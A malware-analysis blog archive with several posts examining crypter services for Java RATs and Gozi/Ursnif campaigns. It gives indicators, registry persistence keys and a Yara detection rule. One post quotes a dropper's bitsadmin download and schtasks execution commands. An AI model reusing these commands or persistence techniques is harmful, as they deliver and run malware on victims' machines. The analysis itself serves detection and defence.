Sunday, February 3, 2019

Unknowncrypter, the crypter twin of Fudcrypt: another Crypter-as-a-Service for Java and JS

Last week I wrote about a Crypter-as-a-Service named Fudcrypt which obfuscates Java RATs in VBS scripts. However, this is not the only service being used by threat actors to deliver encrypted Java RATs.

A few days ago there was a new "The Story of Manuel’s Java RAT"  which basically linked two different campaigns using same JRAT malware. In one of the campaigns there were JAR files attached to the emails, whereas in the other campaign the attachment were JS (JavaScript) dropping a JAR file. The JS campaign is the interesting part as this is linked to a Crypter-as-a-Service named Unknowcrypter.

Unknowcrypter and Fudcrypt are strongly linked and either the actor creating both services is the same or they are working together.

Unknowncrypter is announced in several underground forums as a crypter for Java and JS. There is even in Youtube some videos on how to use the crypter.

In order to use the service and encrypt Java/JS files it is necessary to use a windows application and a valid account.

The sample from the campaign "The Story of Manuel’s Java RAT5b7192be8956a0a6972cd493349fe2c58bc64529aa1f62b9f0e2eaebe65829be 
is the perfect candidate to be dissected. 

Looking at the JS code, the first interesting part is the "obfuscation" function for the payload. 

The variable hp_pavilion is the final payload which it is base64 encoded.

It basically uses the same substitution mechanism than fudcrypt, but written in JS instead of VBS and using different characters and strings.  

Below is the snippet code from fudcrypt:

After decoding the payload stored in hp_pavilion, there is again another round of base64 encoded strings, which are stored in LongText1 and LongText

LongText1 is just a base64 encoded and the output is a JS script which I will analyse later.
LongText is the malicious payload, the Java RAT, which it is base64 encoded but some characters needs to be swapped, in this case "@>" with "A".  

This is the exact same behaviour than in Fudcrypt:

Then, the script checks if Java Run Environment is installed. If not, this is download from  hxxp://www.thegoldfingerinc[.]com/images/

 Fudcrypt does exactly the same and in the same manner. See the code from fudcrypt

Lastly, the Java RAT is made persistent via the Registry key "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ntfsmgr which it is the same exactly registry key name used by fudcrypt.

The remaining part is the script linked to the LongText1. This is script, after deobfuscation,  leads to a JS script which is a worm name vjw0rm.

 Although this code is not used, it has C2 capabilities.

To summarise: unknowncrypter and fudcrypter are the same crypter service but using to different script languages as output for the obfuscation. The only difference is the C2 capabilities which are gathered by two different malware, one for JS while the other is for VBS.

The analysis of the JavaRAT payload, which it is Adwind, is here

Sunday, January 27, 2019

Fudcrypt: the service to crypt Java RAT through VBS scripts and Houdini malware

The existence of services to encrypt and obfuscate malware in order to avoid antivirus detection is nothing new at all. In this blog I wrote about a couple of services, qthelegend and qrypter, that obfuscate Java RATs like Adwind.

A few weeks back there was an interesting campaign against some financial institutions using some Java RAT and some VBS scripts. It turned out that this campaign used some crypt service named fudcrypt. This service is announced in several underground forums as "fully undetected crypt" service and used to have a website where it could be bought for a few dollars.

The are even some youtube videos on how to encrypt files with this crypt service. For example here
The author of this malware claims that he is able to install Java JRE in victims which do not have Java installed so the JAR payload can be executed.

Although the main website fudcrypt[.]com is not anymore active, the service can still be bought via some underground forums.

In order to use the service and to obfuscated the payload, the author provides a windows application. This application checks for a valid license


As mentioned before Fudcrypt is still active as a service and some actors are using it so I'm going to analyse how it works with a recent sample 
ef9c50fd15493937d5ee3366a58e41cd3ca1d9fb386fe578aea700c8f54f0f1a. This sample was detected only by a few AV when it was analysed three days ago:

The file is a VBS script which it is 929K and it has a variable named "pillow" which it is the payload.

The payload is in base64 encoded, but according to some functions in the code there are some characters that need to be swapped before decoding.  This is "#(" with "m".

The base64 decoded payload is another VBS script which I've uploaded here

This script contains two other base64 encoded payloads stored in two variables: longText1 and longText.

Both of them are base64 encoded, however for the second one it is necessary (again) to swapped some characters:

It turns out that the second base64 encoded variable is a binary JAR file, which in essence is the final Java Rat payload. The JAR file is stored in %appdata% as ntfsmgr.jar. A copy of the file is here and a dynamic analysis is here. In essence, the payload is Adwind malware and the C2 is in jsbc-pcs.linkpc[.]net:1604


The code checks via some registry keys if Java is already installed. If it is not installed, a copy is downloaded from this URL: hxxp://www.thegoldfingerinc[.]com/images/

Then, the dowloaded java is installed and persistence to run the Java RAT is pushed via the registry key  HKCU\Software\Microsoft\Windows\CurrentVersion\Run 

There is still one remaining script which I did not analyse yet. This is the one stored in longText1. This script again has a base64 encoded payload with leads to another VBS script. A copy of both VBS script are here and here

Looking at the last deobfuscate VBS script, the beginning of the script matches the Houdini Malware. Also the C2 pm2bitcoin[.]com is well known, however this C2 is not the one used, but goz.kingdaddy[.]pw. 

The domain goz.kingdaddy[.]pw is not active but has been registered a few days ago

A good analysis on how the Houdini malware works was done 5 years ago by FireEye/Mandiant here

In essence this crypt service is using some already known malware, Houdini, Although the final JAR payload is in the initial  obfuscated VBS  it would be possible that payload is pushed via the Houdini VBS script via the C2.

Monday, December 31, 2018

Knowing your adversaries and their TTPs. The Gozi case

Gozi (aka Ursnif), as many other financial malware, is used by several different actors operating world-wide. In a daily basis I see Gozi campaigns trying to infect users, however each campaign has their own 'particularities' which permit to differentiate between each campaign and the different criminal groups using the same malware. This set of 'particularities' are know as Tactics, Techniques and Procedures (TTPs).

A good resource to understand the different tactics and techniques used by adversaries is MITRE ATT&CK.  A lot of these techniques are mapped and implemented through the sigma project from Florian Roth, which can be deployed in several SIEM vendors. However, a key requirement to implement these rules is to have proper end-point monitoring on account that most of the techniques from ATT&CK are base on end-point detection. In Windows environments, this includes events from Sysmon, Windows security logs and PowerShell logs. 

Monitoring PowerShell is nowadays a must as many adversaries are using PowerShell, and frameworks using PowerShell like Empire, PowerSploit, Cobalt Strike, etc, as part of their tool arsenal.  
A few weeks back, during Botconf 2018, Tom Ueltschi did a presentation with the title "Hunting and detecting APTs using Sysmon and PowerShell logging". During his presentation Tom focused on detecting the ATT&CK techniques T1084 (Windows Management Instrumentation Event Subscription), T1037 (Logon Scripts) and T1086 (PowerShell) and he explained the approach he followed to detect APT attacks which use PowerShell at some point.

Going back to Gozi, the idea is to use some of the unique TTPs to cluster different campaigns and associate them to unique groups. For that, I focus the analysis on some key aspects:

  • Delivery Mechanism: Email is the main distribution mean, however there are differences between campaigns. For example, in some campaigns stolen email credentials are used. In some other other fake invoices are used as attachment, etc.
  • Attachment / Link: In some cases, the attached file is a VBS script. Other times, it is weaponised Microsoft Word Documents. Eventually, there is not attachment but malicious link.
  • Utilities: Built-in tools from the OS that are being used. For example, PowerShell, cmd.exe, certutil.exe, BITS, etc.
  • Full Command: Unique set of commands being use to pull the malware. This combines the utilities but sometimes using some unique 'patterns'.
  • Binary signed: whether the dropped binary is signed or not.
  • Gozi Version: version 2 or 3.

(This is just an example of some of the key indicators that can be used to cluster difference campaigns)

Analysis  of the VBS, Gozi version, PowerShell commands..

For the analysis of the different campaigns I combined some dynamic analysis techniques with sandboxes, similar to what I did here, and some debugging. For example, for the VBS scripts and in order to extract the set of commands without fully detonating the malware I use x32dbg with a breakpoint on Shell32.ShellExecuteExW.

By the way, with proper PowerShell logging the transcript of the logs provides the full set of commands executed:

The analysis of the Gozi Binary version is done with some Yara rules running in memory. 

Putting all together, I am able to create some matrix where I can identify the overlap between campaigns, which potentially link to unique actors: 

Saturday, November 24, 2018

Hunting malware in memory. A Gozi case.

Some of the actors using Gozi / Ursnif take advantage of compromised emails (BEC) to deliver weaponised Microsoft Office documents. This is not new at all, however in the last week I've seen an increase of such attacks. In recent campaigns, the office document contains a macro which spawn a cmd.exe which executes a PowerShell to download the payload.

This could be easily detected with any end-point use case which monitors processes and parent processes.

Also, Gozi can be easily detected via the registry keys as the malware itself is stored there.

The dropped payload from this Gozi version executes some unique  PowerShell command in order to persist in the registry key, which can be easily hunt:

Some endpoints solutions have the capability to run searches against Yara rules. In some cases the searches can cover running processes, live memory and specific files within a given folder. A good example is the open source project malscan which permits to scan process in memory. This is really an interesting way to detect malware in end-points.

For details on how Gozi works, there is a good post from Vitali Kremez explaining how recent versions of Gozi works.  In essence, Gozi injects a DLL (client.dll) in the explorer.exe process so it is possible to hunt for the URL C2 strings in this process. I already extracted the URL C2 strings in some past blog entry 

rule gozi_C2_memory {
      description = "Gozi C2 memory"
      author = "@Angelill0 -  Angel Alonso Parrizas"
      date = "2018-11-19"

        $s1 = /soft=\S+&version=\S+&user=\S+&server=\S+&id=\S+/  // Gozi V2
        $s2 = /soft=\S+&user=\S+&server=\S+&id=\S+/ // Gozi V2
        $s3 = /soft=\S+&version=\S+&user=\S+&group=\S+&id=\S+/  //Gozi V3

        $s1 or $s2 or  $s3


Running the Yara rule against an infected system, it is possible to detect the C2 in memory:

Monday, August 6, 2018

Gozi malspam campaign mimicking Swisscom on 30th July 2018

A few days ago informed via twitter about a malspam campaign mimicking Swisscom invoices.

The malware delivered in the latest stage was Gozi / Ursnif. But let's analyse a bit this campaign.

The malspam campaign is based on e-mails mimicking invoices from the telco Swisscom and with a HTTP link to a ZIP file. The ZIP files contains an obfuscated Visual Basic Script (VBS)

The VBS was not detected by many AV:

The script executed the following commands:

C:\Windows\System32\cmd.exe' /c bitsadmin /transfer mxs5 C:\Users\user~1\AppData\Local\Temp/JZCzDJTTgS.exe &

bitsadmin /create /download IUII &bitsadmin /addfile IUII C:\Users\user~1\AppData\Local\Temp/oXzEXmPNy.txt &

bitsadmin /setcustomheaders IUII User-Agent:STARLEX &

bitsadmin /resume IUII &bitsadmin /complete IUII &

schtasks /create /st 17:10 /sc once /tn sw3 /tr C:\Users\user~1\AppData\Local\Temp/JZCzDJTTgS.exe

It is interesting to see how the command 'bitsadmin' is used to drop the payload from "" . This technique is well known to be used by malware so it is a must to monitor such process, for example via Sysmon.
Also, the fact that the user-agent is setup to "STARLEX" makes this campaign unique, however, looking to the network traffic, it seems that this never worked and it used the default bitsadmin user-agent:

In any case, monitoring the user agent either for strange names or "Microsoft BITS" will provide good insight about suspicious activity.
The last two steps are related to the schedule task created via "schtasks" command. This is a good technique to delay automatic malware sandbox analysis, but it is also very easy to detect via proper detection use cases. Two things here can be monitored: the command "schtasks /create" and the fact that a binary under the "AppData" folder is called. Generally talking there should not be binaries being called from *AppData* as this is also a suspicious activity.

Clearly, this Gozi campaign was very noisy and easy to detect with some basic use cases.

Regarding the analysis of the Gozi binary dropped, there are a couple o interesting things. First, it was signed with a valid certificate:

And this same certificate was used to sign other Gozi binary used in other campaign in other country the same day. 

Secondly, it seems the malware had some debug code enabled which showed the version of the code (version 3 build 613)

The last point is that this version of Gozi/URsnif seems to be based on this leak ISFB source code on account that the DGA CRC matches '0x4eb7d2ca' together with the DGA base URL ""

However this version of Gozi is not using the DGA feature,  but the URL acting as C2 is hardcoded

Thursday, May 10, 2018

qthelegend: the new Qrypter for Adwind

Since last December, when I blogged  the first time about Qrypter, I've been tracking Adwind malware using this service. wrote a very interesting post about the providers hosting the C2 infrastructure which is being used by malware encrypted with Qrypter.

Since a few weeks Qrypter has migrated to a new platform and doesn't use Tor any more

The new version of Qrypter uses a Java application running locally, which encrypts the files.

In order to use the application, the user must be registered and buy a license  (credits). 

I wanted to check if there is any substantial change in how the malware is encrypted with the service, hence I took a look to a recent sample. The behaviour analysis doesn't really show any difference. 

While debugging the malware  I can see the different Java processes executed until the final payload is decrypted and executed

In the end the configuration for the command and controlled is obtained the same way than with previous Qrypter version

During the analysis process, I can see the typical Adwind behaviour executing VB scripts for checking AV installed, local firewall and making itself persistent via the registry

Qthelegend, the new Qrypter, has not really change in terms of how the malware is encrypted.